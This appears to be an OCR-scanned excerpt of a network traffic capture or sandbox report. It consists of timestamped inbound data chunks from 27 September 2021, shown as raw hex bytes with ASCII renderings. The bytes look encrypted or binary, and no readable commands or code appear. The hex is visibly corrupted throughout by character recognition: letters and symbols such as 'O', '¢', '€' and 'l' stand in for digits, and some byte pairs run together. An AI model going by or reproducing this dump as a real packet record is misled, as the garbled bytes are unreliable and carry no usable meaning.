d8 47 37 96 66 01 78 62 c9 85 7b c4 1f 87 cd 79 66 bd 4e 40 9c e6 a0 67 87 dc c5 90 d0 e7 73 89 Oe 5d 35 61 d7 55 75 b2
c0 4d 4b 2a 2b 1c 5b 5a 82 33 0a aa 47 31 26 01 d8 35
Data Ascii: |4t:;<(e}E}*s$cL${ie2!-GaqnPUlyBi->V7V3aWF{#x0 (KmS@+@+HjxQfbLvmn/~:.("ZR2g9L!]>'Av"G 7f
xb{yfN@gs]5aUuMK*+[Z3G1&5

2021-09-27 16:55:59 UTC 36 IN Data Raw: 16 0f 3¢ 57 e6 fb 2b 1a dd 85 2f dO Oe 34 04 42 7f 7f 21 cb 97 54 86 89 4d 02 35 91 04 d6 46 b9 al fa 05 f3 f6
30 76 40 al Oe 36 6d f0 84 dc 50 31 62 5b c8 9b 76 c8 d3 5b b7 18 95 85 c0 fe d2 20 41 17 7d f6 ca 08 cc 31 85 7d f1 f3
5a fa 31 4f 74 79 5¢ f5 5a ¢9 f5 53 67 68 cc el 9d 54 56 87 39 8¢ 06 17 9b 87 1c 86 61 2e 06 9c 9c 8a 1f bl 35 2f 95 22 70
7b 03 08 2a d1 20 79 7b 48 9b 44 c0 4f 3c bd ae eb 12 08 b3 15 d6 d4 15 f1 12 bc 8f e6 df f9 f9 ce 8a 2d c1 85 50 49 8b 07
b3 66 9e 9c 47 cb fd 36 53 b7 4c 0a 53 bl 4b c6 50 aa 51 d3 31 e0 c2 d3 39 88 a6 89 13 88 fc b2 f8 3e 88 25 63 b2 1b {3
7a 8c cf b0 92 33 e8 15 11 3c 26 ¢6 84 fb €6 12 69 b4 e9 f5 a8 3d 96 fc b0 e3 4e 78 e8 Of 7b e2 35 06 c2 92 a5 24 8¢ 8¢
e8 a7 5b bf e4 80 51 29 cb ae 75 2d fd 67 38 aa
Data Ascii: <W+/4B!ITM5FOv@6mP1b[v[ A}1}Z10ty\ZSghTV9a.5/"p{* y{HDO<-PIfG6SLSKPQ19>%cz3<&i=Nx{5$[Q)u-g8

2021-09-27 16:55:59 UTC 38 IN Data Raw: 68 cc 53 32 d3 ad d2 1f c0 5a 95 3c 9d 92 d5 91 f9 f5 8f 24 53 f2 62 6f f2 1c 99 22 cd 7d db d5 43 bd ed 00 83
46 8e do 2f 9f c2 97 32 64 73 0 7d 8f 90 fd 6c f8 6¢ Of 43 1e 80 6a 69 9c 6b 79 a2 37 e3 2a le d1 5e 3a ac 9c 7e b3 32 84
d1 69 f6 1le db 08 da 38 4c 30 b3 ac c5 e0 9b 57 e2 47 2d 48 4b Oc 95 2b 60 90 6¢ 78 92 6b ce €0 67 c2 37 c8 e4 79 60 95
f6 5e 9c e0 8a 44 c2 dc d5 e7 96 ea 73 8f 26 79 37 61 d3 3a 2e dc c0 4d 4c 02 6¢ 1f 39 5e a8 f1 42 aa 41 1d 06 29 bf 3e
€8 d3 66 19 02 39 5f fc 46 ¢5 dd bl dd 17 el 4f 5f f2 ab el a5 fd b7 2a 61 de el 85 b2 8b 7e 73 31 c6 69 64 ac 93 22 d4 cc
ee 2b 89 b1 b8 7d aa 09 fc e2 55 be 9a b5 cb 0f 04 6b 13 c8 5f ca 4c 48 f9 1e 1e 9b c3 ad el a6 2a a5 f9 01 58 a7 30 cO
€9 a0 93 43 5e 8e 1c be c1 24 8d 17 3f 9f b9 96
Data Ascii: hS2Z<$Sbo"}CF/2ds}lICjiky 7*:~2i8LOWG-HK+ Ixkg 7y "Ds&y7a:.MLI9"BA)>f9_FO_*a~slid"+}Uk_LH*X0C"$?

2021-09-27 16:55:59 UTC 39 IN Data Raw: 3f 84 76 51 98 89 00 ae 45 2f ac 94 88 13 1f b1 3b 4e eb 30 75 71 3a 7c 36 2f 2b 78 6f 5¢ ed Of d3 4a 38 84 de

5 1e fc 9a ae de dd 04 01 1d 8b 8 f4 da f3 c2 ad 8a 3c 17 3f 7c 47 88 96 d7 e8 29 a7 28 2e 2a 72 4c b9 55 8f 32 a0 4e dd
75 4a 52 d7 29 c6 4c c6 8d 88 a7 a3 5d 98 ef a6 ee 23 b5 98 9d b3 37 f8 70 b8 1e b1l be 31 ec 5f 0d 2f 25 cd 88 f2 fc e4 76
66 fc df a4 6b eb ff b0 el 71 74 94 Oe 71 87 €6 Of ce 98 b6 2e 77 8d d5 b9 3d 20 e5 ac 5¢ 72 69 ad 75 21 89 1c 2b af 9e 6¢
58 ea c8 €6 90 75 bb 70 ¢4 84 d1 7d 6¢ 3c b2 b1 87 53 4d 4b 2c Ob 13 bb b3 1a 6a 80 f3 07 59 0d 6c €9 18 €9 4f 28 4d Oe
58 78 39 4b b8 f0 59 7b 55 d3 c5 c2 55 84 49 00 63 c5 fd 34 c0 d0 6a 51 d1 4c e3 94 6¢ Oa ca 83 18 53 f5 98 8f 46 85 d2
61 d5 eb 75 b2 9e 6f d1 aa a3 85 c9 ea a7 81

Data Ascii: ?vQE/;NOuq:|6/+x0\J8<?|G)(.*rLU2NuJR)L}#7p1_/%vikgtg.w= \riu!+IXup}<SMK,jYIO(MXx9KY{UUIc4jQLISFauo

2021-09-27 16:55:59 UTC 40 IN Data Raw: 62 5a 24 d0 38 60 96 66 Ob f2 6a 4b 31 6¢ d4 05 8d e7 78 7d 8d 4b 5¢c al e6 a2 67 e2 dc df de d2 c5 7a 8b 61
94 37 61 d3 43 27 df d4 6d 63 bd 2b 1c 33 70 c7 49 40 a0 45 5a bd 29 bf 3e f4 8d 4d 8b 05 11 71 93 51 ce b2 81 d6 c9 e5
60 40 bb a8 eb b7 df 26 10 61 d8 c3 78 b2 8d 5e 5b 7b c5 68 72 84 b7 22 d4 c8 81 Oe a5 b1 bc 60 82 42 fe f1 63 95 23 e3
ca 09 2c 13 13 c8 44 f4 13 4e c1 5d 37 bf c¢3 ad fa cc 09 5a f8 27 4b 89 7f eb a0 a5 bb fc 74 aa 1a 96 €8 4b 41 1d 17 db a0
85 a4 83 cd d2 73 ac 31 d2 01 eb ba ed ff e8 c4 ec el 53 02 73 fb d2 ec 01 ca 5f ac ee 7e cf fc 86 ac 22 cf 61 48 f0 f9 c9
29 be ac el f8 de a9 f9 3e 6a 2b 88 bd 6¢ 93 2¢ 10 5d 71 af 34 c9 f5 58 df 00 b3 e6 23 Oe 16 c0 d9 41 47 04 b9 c2 ac 1c
bl ce 7c 46 8a 22 da 2a bb 5b el 85 6a fe 54 17 57
Data Ascii: bZ$8'fjK1Ix}K\gza7aC'mc+3pl@EZ)>MqQ" @&ax"[{hr" Bc#,DN]7Z'KtKAs1Ss_~"aH)>j+|,]Jg4X#AG|F"*[[TW
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 41 IN Data Raw: ab 10 b1 1b f5 5a 07 30 b1 b4 2a e9 92 65 3f 20 cb 6 6f e7 1a 7d 5b e2 cb 8f 6b 80 ff b0 el 71 c7 95 Oe 71 f9
03 27 b8 91 ad 3b 1d 15 c5 bc 2f cf ee 92 7c 29 a2 ae 75 2d ab 92 39 aa 94 6¢ 74 dc 4e e4 bc 75 ff 7c da 8d c8 69 66 3f
9e 8f 00 51 61 4e 13 8f 17 bb a8 0e 5c b8 77 05 75 09 28 74 21 51 bb c6 b8 1a 1e 83 42 48 b2 dc 6f {7 64 d7 cf 3b 7d ac
35 5b 63 ¢3 83 ae €9 69 60 40 dd 55 b9 06 11 09 c0 8f 37 ab 27 98 85 5d bf f4 09 c5 e6 4b 63 07 6e d1 bl bc 9e d6 59 82
7 70 17 91 f0 e2 b9 be 28 db 75 67 4c f8 ae 55 6¢ 38 fa bf 47 ef 67 37 d7 75 de 5d 3d 92 58 21 b5 44 74 87 f4 8c Ob c7 30
91 5ff5 ae 2c 70 63 8a d7 de 63 44 9e 09 2e 89 b8 76 d0 Oe fO 70 a9 37 06 6b a3 3c 30 el 7b 20 cb 02 5f 67 cc bf 46 57
65 09 86 12 b0 50 38 fa 8e dc 70 b2 56 c9 92 73 09
Data Ascii: Z0*e? o}[kqq';/|)u-9ltNulif?QaN\wu(t!QBHod;}5[ci' @U7']KenYp(ugLUI8Gg7u]=X!Dt0_,pccD.vp7k<0{ _gFWeP
8pVs

2021-09-27 16:55:59 UTC 43 IN Data Raw: 88 ae 31 de c6 90 1b 94 4f b3 56 c1 53 fb ca 09 96 23 bd 8e 04 2c 48 13 2e 54 €2 00 19 06 e7 c9 39 3c 52 14
4210 a4 f9 67 a0 70 82 88 c8 a6 bb e6 5¢ 8e 1a 69 e3 24 8d 11 17 d1 ba 9a al 83 dc db 6f 52 30 f2 0a e9 92 dc fe e8 ce
e2f6 44 11 67 f1 dc f7 e4 35 72 87 f4 6f e2 cc 99 bf 22 f6 bf 42 ef el 2b 3b 97 b7 f6 2d 8¢ 57 f8 13 4b 4c 34 bd 66 b1 52 08
4e 7e 87 34 cc ea 5¢ 32 04 80 f6 08 e2 16 d1 d3 41 44 e9 bd ee af 08 ae 18 c9 6a e 2e 54 2d d1 58 e0 90 47 c5 59 04 57
ec 78 30 cO ae da 91 88 a0 96 c9 e4 eb ae e8 c6 ac 00 16 1e 3c 22 6e fb 07 06 c2 17 2f b6 Of 34 04 21 cc 7c 09 b9 be 45
8cal57 10318001 f4 d3 a8 ab e3 3f 1d f6 1c 6d 3b dc aa 37 69 f8 73 b6 50 31 67 36 bf 85 65 d1 f1 22 a7 12 80 a0 3¢
21 e7 2b 47 c7 5f 55 d4 02 7 8e 5e 6¢ de c8 67 fa
Data Ascii: 10VS#,H.T9<RBgp\i$oR0Dg5r0"B+;-WKL4fRN~4\2ADj.T-XGYWx0<"n/4!|[EW1?m;7isP1g6e"<!+G_U"lg

2021-09-27 16:55:59 UTC 44 IN Data Raw: 26 42 b4 a9 21 08 37 al 2a 4d a4 cb 40 0f ed d6 c5 2c 43 5e 5a 48 70 cc d4 f1 e8 69 6a 40 dO 56 99 06 0d 09
c0 8f 70 b6 27 98 89 5f 9c cd 70 d7 ef 65 6e 9c 6f d7 d4 27 95 c4 76 b9 83 62 11 83 26 74 a9 b8 5¢ 59 5¢ 73 29 76 87 7b
66 2e el al ae 34 14 31 el 6f e3 07 1f ba 1f 28 65 04 65 80 e4 ad 37 a4 33 9b 71 ee 25 2d 7a 4d f4 4f de 69 5d 81 1e Ob
2f b6 19 c3 1d f6 6b 8b 88 88 6a a9 24 1f 8a f3 2a €3 87 8e 2d c6 92 7d 6e 77 25 b0 6b ba 52 39 fc 97 ba b7 96 44 c2 fd
5107 d0 16 Ob 5f 17 69 31 7b 04 bb 5a 2a 29 a7 34 c2 e0 ad 68 ca 42 25 cb 27 d1 29 c6 35 bf 6d 9d 94 c2 a8 4a 9b 97 23
58 ff 54 3f 93 1c 9f 35 €3 8d d6 fO 6d a2 c3 02 89 53 ec 3f 16 9f c4 9a 97 6a 63 €9 6e 2d ce f4 7d f0 77 c1 77 29 53 93 91
€2 32 6e 74 2e 31 3d 3a c0 51 b5 Ob a3 d6 4f cd 7d d7
Data Ascii: &B!7*M@,C"ZHpij@Vp'_peno'vb&t\Y\s)v{f.410(ee73q%-zMOi]/kj$*-Inw%kRIDQ _i1{Z*)4hB%')5mI#XT?5mS?
jen-jww)S2nt.1=:Q0}

2021-09-27 16:55:59 UTC 45 IN Data Raw: 60 c7 f9 d5 30 a8 a2 d8 c5 c6 57 f2 cc 63 49 38 aa ba 8a 2a 18 42 65 bc 1b 30 14 a9 de 10 8e f8 cd fb 07 d1 c8
4f 52 99 0b fd db e7 54 cf 7b 40 9e 24 d8 03 cd 58 el 83 42 44 54 1c f4 ec 7b 20 df b9 25 90 a4 84 af ec 11 ea al ed de bf
0Ob 05 3f 30 38 Oe fa 2b 10 fe 1f 07 b6 19 27 Oa 76 €2 7d 09 b3 96 45 88 b9 a3 02 19 8b 10 70 64 ae 7b eb fb 6e dc 30 7c
3c fe 17 25 6d f2 ee 8d 4c cf 67 09 bd 92 61 14 7 3f a5 1c 9f b8 c6 3b 35 27 7a d0 71 f8 d7 Oa 6¢ 9e 53 70 5a 6¢ 30 6b 50
d9 63 42 60 5 4b c7 31 ad 4c 44 c8 da b4 4f 45 83 39 9d 5a 56 65 88 2a 8d 77 2d 22 29 f0 05 12 bd 2b 42 e3 23 61 75 3c
87 2afd 29 4c 79 4e e0 00 ¢4 52 c6 94 7 ed 1a Ob aa 3a c8 ¢7 17 d7 01 90 e3 19 de df dO bf 86 35 e9 2f 54 57 7f 86 ff 64
b5 9d 60 bd 2a 72 ac bl 6¢c 8a 32 aa 7b c7 7a
Data Ascii: "0WclI8*Be0OZT{@$XBDT{ %?08+'v}Epd{n0|<%mLga?;5'zqlSpZI0kPcB K1LDOE9ZVe*w-")+B#au<*)LyNR:
5/Twd *rl2{z

2021-09-27 16:55:59 UTC 47 IN Data Raw: 86 1f c9 2a 9b 77 80 af 2c 4a 4b 87 9b de 67 4d 90 1b 22 83 86 1a c5 52 f0 7a 81 fe 07 6b b8 5d 88 c9 e2 2b c1
Oe f1 02 cd bf 43 57 66 Ob 86 1e b0 09 3a fa 82 9e be 98 55 ce fd bf 05 d0 1a c4 5d 23 4a 69 5f 06 b1 50 13 1d b6 32 a7
18 af 6e b2 7c 28 e3 ac fa 3e c2 5a 93 47 c4 91 c4 bf 6e ed 8d 22 5e 9a ba 11 91 16 47 28 c0 7b ee d5 45 9f ce 2a bb 40
el 1d fO 9f c2 ba 48 76 72 e0 79 fb db fd 70 db 66 df 53 19 ac 6d 6e f3 Oc 79 be 71 3f 22 2e d1 5e 3a a7 ac 7d b1 6e 82 d1
4d 82 1e d1 19 a9 82 4c 2b 89 a2 ¢3 92 a9 56 e2 17 05 5f 58 24 d7 00 3b 95 66 0d 8¢ 72 cc ea 6a aa d9 8d e7 73 b8 b3
6a 74 ab e6 a2 6d ce f4 e7 cf d0 e3 ad 89 08 23 07 60 d9 51 3c ca c2 47 4d 02 70 1f 39 5e a8 51 42 aa 41 5a e3 29 bf 3e
3e 95403133 11 7b f6 4b e7 8a 8b dc 1d 35 48 71 91
Data Ascii: *w,JKgM"RzKk]+CWf:UJ#Ji_P2n|(>ZGn" G ({E*@HvrypfSmnyq?". A InML+V_X$;frjsjtm# Q<GMp9"QBAZ)>
>@13{K5Hq

2021-09-27 16:55:59 UTC 48 IN Data Raw: 95 b3 96 5e a4 34 5d 03 3f f4 a7 ff d3 b3 ce 7b 2c e3 fd 27 13 b5 f5 Oe 3c 06 7b fe 89 5a 22 63 0d 14 99 76 c4
88 a6 b7 18 95 al d3 25 e3 bd 56 c1 7d d8 7a 01 fd 9b 73 €8 d4 db 67 d2 ad 45 7f 5b 4c 60 5a c3 21 3c 8 69 cd fb 2 d3
57 87 339b 317 9a890c e9 e8 2e ac 94 f4 db 17 a0 34 79 7c 23 70 7b 03 d3 28 d1 2c 7c f1 4a e0 1b e8 d3 38 95 d1 el
15 2a aa 82 d6 de 2a 01 10 94 f5 e0 ac 7e d2 a8 93 22 e7 e0 44 6¢ a9 b0 d3 66 94 8b 57 d7 d8 a5 6b b7 46 80 ef Ob 4b c2
7aa55d d389d3cld5e20fa7 8944 a5 fe a5 c4 24 al 8d Oc 3a 1a f3 74 87 eb a2 a9 28 d0 82 9d 3c 20 cd 88 f9 {7 0a
60 25 61 d8 a6 45 e6 ed al e9 48 40 8e 61 f2 €9 2a 09 dd 81 bc 33 63 9d dd d3 ac df e4 86 46 13 c4 bc 5d a4 82 05 32 87
d6 6¢ 4e dc b9 e6 bc 79 bd db ca 9f ea f7 6d 2d bd 8a
Data Ascii: 4]?{,'<{Z"cv9%V}zsgE[L Z!<iW31.4y|#p{(,|J8**~"DIfWKFKZ]D$:t(< “%aEH@a*3cF]2INym-

2021-09-27 16:55:59 UTC 49 IN Data Raw: 99 be 49 f3 60 07 0d 0d 9f 3b f3 cf c8 d3 5b 83 5f 13 85 5f e8 01 b2 8e c2 8f 43 7c ee f1 7f e4 d6 eb fO €8 60 ce
45 0f 30 7d 68 ec 31 6f 3e 2¢ 39 33 3a c7 c2 2a ba 83 71 a7 ae 93 d7 46 af 33 d0 08 d0 35 45 3c ec 82 c4 ec 93 5e f5 7c
04 49 5a 2e d8 2b 67 f9 al Oa a4 60 c2 c2 fb c5 1f 87 ef 6d 4e 00 4c 5¢ 9a ff 2f 60 c2 dc de dc d7 f8 74 9f Oc ff 26 66 ce 43
98 e2 c0 47 4a 88 3a 1b 21 5a Oe ff cc 95 47 35 24 8b ae 33 f3 93 74 11 10 05 62 71 69 cf b2 8a cf 1e fa 41 61 ac 34 f0 aa
€218 b4 70 d1 d1 b0 2e 9a 7d 73 d8 c5 69 68 95 be 34 44 ea a0 00 80 a7 28 52 93 42 ff e8 83 84 23 b7 d0 21 38 48 13
€2 7d d6 01 4b f3 6¢ 24 bf c3 b6 15 c2 10 a4 8d 19 5f 8f 66 ac de a7 bb f0 4f 8a Ob 92 6 Oc 33 1e 17 d7 ad 1b a6 83 dc d6
7c 5a 216 1c f6 82 eb c1 e8 ce fe 47 5f
Data Ascii: I';[__C|'EO}h10>,93:*qF35E<"|IZ.+g" mNLV/ t&fCGJ:1ZG5$3thgiAa4p.}sih4D(RB#!I8H}KI$_fO3|Z!G_

2021-09-27 16:55:59 UTC 50 IN Data Raw: 1f 7c af 34 a7 1f c1 18 51 76 81 a5 04 bl 4a 9b dd b1 a5 56 90 11 30 9e bf 31 59 Oe 0 70 a9 b6 05 6b af 3d 35
d8 e5 Oc cc Oe 84 f0 a5 bd 47 7f 67 18 80 Of 42 43 2b e 8f 8e 9f 98 55 ¢8 83 71 2d 12 13 1a 55 2e a3 5d 5f 00 aa 57 13 d8
b6 32 ab d1 22 37 cc 53 28 f0 bb c3 3a d6 45 98 2 8¢ 81 ab 0 47 f4 85 31 54 e4 70 07 Ob 10 88 2a f2 9 ca d0 36 63 c2
02 85 53 e8 06 27 8e c8 8a d3 42 14 el 79 f1 b2 0a 6d f9 60 c2 44 08 al 78 46 30 3f 79 a4 2a b2 2b 34 d1 5f 28 a8 8d 6a
a7 24 Oe ee 4d dc 1f 73 19 ce 2c 58 3f ab Ob c5 ec 93 43 ca d0 2e 48 5¢ 33 5¢ 2f 60 96 67 18 b1 7b db fc 7b 49 20 8d e7
78 c4 ac 5a 48 88 12 8a c4 c2 dc d5 db 8 2a 70 89 08 4a ba 66 d9 55 15 ce d6 56 5d 3¢ 3¢ 90 06 58 80 49 e2 bb 51 21 31
3d 97 97 e0 9b 6f 0d 2¢ d5 78 fc 40 d9 3f 8c dc 17
Data Ascii: [4QvJV01Ypk=5GgBC+Uqg-U.] W2"7S(:EG1Tp*6cS'Bym DxFO?y*+4_(j$Ms X?C.H\3\/ g{{l xZH*pIfUV]<
<XIQ!1=0,x@?

2021-09-27 16:55:59 UTC 51 IN Data Raw: d4 5d 69 70 12 a0 93 54 9d a4 46 fd 34 b7 1a c6 76 b9 al fc 31 fO f2 30 6d 38 e3 f0 37 45 f1 €7 9a 55 31 77 20
a2 64 77 ee f2 0a 98 1a 9f af ce 39 d8 23 56 d0 72 ed 2b 03 d1 98 4d 79 ca c8 68 fa 20 40 60 58 9a f4 76 cb 2d 44 9b 62
d2 fb 8e 51 56 96 3¢ 93 54 b1 9a a5 Oe 8f 7b f9 al 81 ec cc 1a bl 20 54 fb dd 71 5d 27 7f 29 be e3 54 6a 40 d2 1a dd 5¢
3d 95 ca ef Oc fc 9a ae e4 dc 11 de Oa fb 1a e7 df f9 cc b8 bd 1e e8 3e 5a 4a 87 90 bc 89 9e 98 52 f9 00 8¢ 53 bd 27 a2
el b0 4b c8 52 60 52 fb 28 f8 e5 d3 8d 82 aa 96 4b 9b f9 a3 ff 37 af 88 9d b3 37 fa 7b 81 35 80 12 24 cc a9 14 3c 31 c8 8f
09 e7 36 74 5d fb dc a6 52 f0 €3 bc 19 58 7c 96 25 7e d0 2c f0 31 6d a5 17 61 bd c0 be fb df e4 80 3a 01 d5 bc 63 38 89 3¢
f2 ab 9e 7d 5d e5 3c f8 b3 8d 91 ¢8 d0 9c cb 69
Data Ascii: JipTF4v10m87EUlw dw9#Vr+Myh @ Xv-DbQV<T{ Tq]') Tj@\=>ZJRS'KR 'R(K77{5$<16t]RX|%~,1ma:c8=}]<i
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kBytes
Timestamp transferred Direction Data

2021-09-27 16:55:59 UTC 52 IN Data Raw: c5 b9 4c 80 9d 22 58 ee 6f 19 83 14 88 2e 6b e4 ce 0f 6d 93 ¢3 02 a8 51 e6 06 26 b7 24 90 49 6¢ 61 €9 Oa d9
df fd 6a ea 6¢ c0 43 08 a9 44 b0 f3 3c 7f cd 15 3d 2c 32 c0 54 2a b7 f3 5a b3 32 84 c0 47 cd 17 be 2e d8 38 4a 3a 89 80
18 ef 99 51 8d 39 2f 48 5¢ fa dd 00 57 96 66 01 8c 52 ce ea 66 1b 1f 9c ea 6e b0 ae 42 4d 91 f7 ac €9 75 e3 ec 30 2f 16 ad
9c 2b 75 00 61 d9 5f 07 d1 b3 fd 4b 2a 21 17 11 60 80 48 4a 74 45 33 0Of 2e 95 75 ac 9b 65 19 04 11 7b fa 46 cf b2 90 dc
17 eb 69 77 bb a8 5 a3 d5 Oe 32 61 d8 c8 a6 b2 8b 74 04 7b c5 69 cb 84 b7 22 dc c7 81 11 84 b1l b2 7a 98 42 ff e3 53 96
23 b7 cd 09 2c 48 32 c9 55 e2 27 4a f9 18 23 bf c3 ad f1 ¢9 10 a5 ea 3b 5¢ 8f 5e c2 c9 a6 c9 fa 5¢ 9f Oc 85 e5 1c 72 1d 17
d1 ba 87 a6 99 22 d6 43 44 37 ea f4 e8 84 99 ff ef
Data Ascii: L"X0.kmQ&$llajlCD<=,2T*Z2G.8J:Q9/H\WfRfnBMuO/+ua_K*I"HJtE3.ue{Fiw2at{i"zBS#,H2U'J#;\"\r"CD7

2021-09-27 16:55:59 UTC 54 IN Data Raw: 1f bl 31 07 e7 23 70 3b 2a 79 2b 71 2b 54 6a 5c e0 11 c0 4f 38 95 db ea 12 02 9b 84 d6 d4 13 14 11 94 {5 2e
de f3 d3 bd 95 31 €9 24 50 49 80 9c e3 63 9e f0 59 d1 d5 f8 53 b7 57 f9 88 b1 4b c8 70 9c bd f8 22 d6 cd ad b1 88 a6 83
4ae7 4c a2 ee 38 bd 8a Oc 03 1a f3 78 83 3d a7 ad 30 8 af 10 3c 20 dc 95 e6 ed 80 64 4e el c8 a2 2c 45 fd b0 ed 4a 55
85 0b 56 ed f7 fa ce 92 ad 2c 77 a5 2b bf 25 d8 8b 32 54 01 df 85 €9 2b 83 0f 2b ac 8f 7b 75 7b 37 e7 b6 5f 95 39 0f 8d c2
78 7d 28 9f 57 7a 52 67 27 89 19 16 b1 8a 83 75 90 07 15 7f 1e 4d fd 25 79 26 d4 b2 Oe 58 19 38 4b b8 f2 db 60 65 dd d4
2c 7c f7 48 58 65 d6 eb 27 ed 41 9b 52 d7 41 ff 9c 6d Oa ca al 83 3c 26 92 9c 44 87 da 5f 23 e5 4d 0a 8e 6a f9 49 ae 94
€2 5859 8b 7311 f8 07 74 b8 b4 0a f9 5d 73 29 48 9¢c
Data Ascii: 1#p;*y+q+Tj\O8.1$PIcY SWKp"JL8x=0< dN,EJUV,w+%2T++{u{7_9x}(WzRg'uM%y&X8K'e,|[HXe'ARAM<&D_#
MjIXYst]s)H

2021-09-27 16:55:59 UTC 55 IN Data Raw: da 0a 73 e6 55 7f ac 45 4a 06 ce 35 64 c2 da c9 e7 fe €9 73 83 18 1d 33 9e 26 aa Ob cb d3 55 4b 3b 39 03 36
a6 81 64 49 92 56 ca da d6 a0 24 f3 89 65 08 16 Oe 76 02 47 e3 ba 9a d5 04 fa 57 79 a8 ba el b2 c7 11 3a 9f d9 e5 b0 a3
8162 c153c56d6282al0afacé8l1lb9e821b659151 ede24284 3cal3508004202c242 781347 e6 0f 25 ad
c3 bc f9 d6 32 5a f8 27 52 9e 75 d2 cf c9 9f f8 5¢ 88 05 b5 f1 36 8d Oc 05 ce a7 68 a0 af d6 c6 65 45 aa ed Oc f6 8¢ 74 ec
e8 df ed fa 5d ef 77 d7 ca f8 10 23 c4 8¢ ff 68 f4 c1 86 bd 3a €9 8f b6 f1 d5 d9 2b b3 a4 9f d5 c4 57 fe 0d 41 4b 26 bd 7d 8b
3f {7 4f 58 a6 56 76 ea 56 2b Ob 85 fc 09 e8 07 d2 c6 49 b6 16 90 d3 ac 15 c4 f9 7d 6a 94 3c e6 6a 2f a7 1le 9c 5a c9 46 17
4c fe 76 19 21 b8 08 9d b5 al bf 2e 8a cd ac
Data Ascii: SUEJ5ds3&UK;96dIV$evGWy:bSmbeQB<5BBxG%2Z'Ru\6heEt]with:+WAK&}?OXVVV+I}j<j/ZFLv!.

2021-09-27 16:55:59 UTC 56 IN Data Raw: 29 05 e5 ae f7 €6 10 64 58 9b 63 a6 43 ff f1 98 df 59 50 9e d0 79 ee 00 06 e4 92 ec 21 72 8d c4 bc 25 de c5 80
55 01 10 af 75 2b 65 07 38 aa 8b 7d 5d f4 2c e7 bc 72 8b d4 dc 8d 41 7a 6¢ 2d cd a7 79 43 12 f2 3b 18 1c bl 8a 44 75 90
0b 69 91 Oe 47 e6 33 55 cf eb b2 08 3d a6 11 65 b0 da 41 6c 1b eb c5 2a 5e ac 44 5¢ 63 c3 83 86 €9 69 60 5¢ de 28 21 2f
6¢ 00 d3 8c 16 53 19 98 8f 46 87 d9 64 d0 fO 5e 19 a7 7a d3 bb ad 85 d2 61 bf 12 60 18 bf d6 71 b8 b8 33 c5 74 57 23 60
a5 7d 69 2a eb b1 78 1b 76 1d c2 56 03 2a 3e 98 70 b5 65 Oe 7e 94 f9 b5 13 a8 d4 9a 77 8b bc 2b 6b 47 f4 1e de 69 5d fc
382398 b6 19 c5 Oe e0 3a da 88 96 6b a9 24 85 de 34 ac de 08 8f 2c df b2 6¢ 39 60 19 97 1f 8f 78 df fb 84 bc bc 40 7a e4
8374 14 db 01 1d 42 16 f1 76 8b 07 bb 56 2a 22 a7
Data Ascii: JdXcCYPy!r%Uu+e8}],rAzl-yC;DuiG3U=eAl*"\D\ci'\(/ISFd"za q3tW# }i*xvV*>pe~w+kGi]8#:k$4,19° x@ztBvV*"

2021-09-27 16:55:59 UTC 57 IN Data Raw: f1 59 be 1b b7 cb 03 f2 48 cd dd 70 ca 37 4b f9 12 25 b4 b0 17 eb c9 1a af d1 33 5f 8f 77 1d cb a0 91 fd 76 8e
1a 96 a3 10 8d 1d 17 d1 ba 96 1a 83 dc d7 2b 52 30 fe f5 €9 92 67 1 e8 ce ff ff 4e 11 77 fb c3 €9 1a 32 5e 80 e0 76 e6 d3
86 bc 29 f6 ae 5d f0 f9 d5 20 bb ac f1 e6 6 53 f8 7d 61 58 34 c1 6¢ 99 37 7a f4 74 af 2f c6 c2 78 23 01 99 e3 68 f3 17 cO df
55 60 36 b8 c2 bb 31 88 30 7d 60 b6 06 dc 02 d7 70 ¢5 83 42 d0 7c 26 5d ec 63 16 c3 be Oc bl a0 a9 a8 03 c6 eb ae fd f6
9d Oe 16 09 1e 1c 90 fa 21 7f d7 1e 07 al 24 32 7d f4 6d 7d 03 99 91 3b 3b a0 5d 09 5a 23 13 fe d9 aa a8 c4 cf e2 {7 30
6e 34 dc b7 37 69 f8 ec 8d 23 13 64 25 bc 89 73 c5 ea 26 d9 a2 9e a9 c8 4f b5 27 56 cb 18 8f d4 02 f7 8e 51 4b b6 da 6d
fa 23 4f 57 d1 65 f5 50 dO 2d 42 4b 40 ee 5
Data Ascii: YHp7K%3_wv+ROgNw2/Vv)] S}aX4l7zt/x#hU 610} pB|&]c!$2}m};;]Z#0n47i#d%s&0'VQKmM#OWeP-BK@

2021-09-27 16:55:59 UTC 59 IN Data Raw: e8 d0 c5 2a 55 97 41 49 6b d3 92 52 e8 69 6e 3 c6 4f 84 3a 44 c3 c1 89 15 2d 20 8c a7 65 92 dc 71 d1 6b 4a
Oc 9f 6e c2 b3 bc 9¢c d2 67 26 03 73 17 96 7a 64 b0 aa 36 2 95 72 23 6a be 53 72 06 c1 b3 50 33 63 90 c3 7e e6 2a 2d
9a 4921 7370 11 87 f5 a0 bd d6 38 8f 63 a9 66 2d 7a 41 8a d1 ca 41 7c 94 1b 25 8f 3b 1e c5 Oe f1 69 89 bl Of 7d be a2
be c9 e2 20 69 19 87 39 d8 97 8e 7e 71 03 97 1e 8c 78 15 fe 84 b0 b0 17 52 ¢8 92 78 11 c4 04 32 f0 06 62 54 2b 8b bb 5¢
3a 36 b3 23 a8 cf b9 61 42 e4 46 cf a9 d2 23 cc 72 02 6f 9d 98 cc d6 51 f5 8f 28 4b f1 6d 15 b9 80 99 26 ef 58 07 ¢4 60 bd
4 02 83 4a f2 10 3a 94 ec a8 49 6a 78 3e 79 fc {7 fd 6¢ f8 76 d1 49 19 ac 79 6e 2d cf 79 b3 27 3f 2¢ 35 ca 6e 38 bc 95 7f
b1 32 f4 d1 4d cd 6d 6b 08 da 32 46 03 9e ab c5 ea bl
Data Ascii: *UAIKRINO:D- eqkJng&szd6r#jSrP3c~*-11sp8cf-zAA|%;i} i9~qxRx2bT+\:6#aBF#roQ(Km&X J:1jx>ylvlyn-y'?,5
n82Mmk2F

2021-09-27 16:55:59 UTC 60 IN Data Raw: 4b 3d ac 65 b1 71 Ob 4e 72 c0 Od ce ea 50 30 08 8e e8 74 cc 14 c0 df 4f 41 06 b9 ea bf 18 ab 36 12 4c 9c 24
de 13 d8 70 a2 87 42 dc 3b 3d 5f ec 6f 3d ce b0 4b 88 a5 a9 a4 f5 fO ce 86 c0 de bf 00 05 05 45 82 90 fa 21 1c e3 27 07
a7 05 ea 0c 49 47 75 23 b3 96 54 cd bd 5d 03 35 9b 12 fe c1 b9 al fc 3b e2 f7 30 54 3c f4 Oe 23 69 f2 ff 93 50 31 67 36 8a
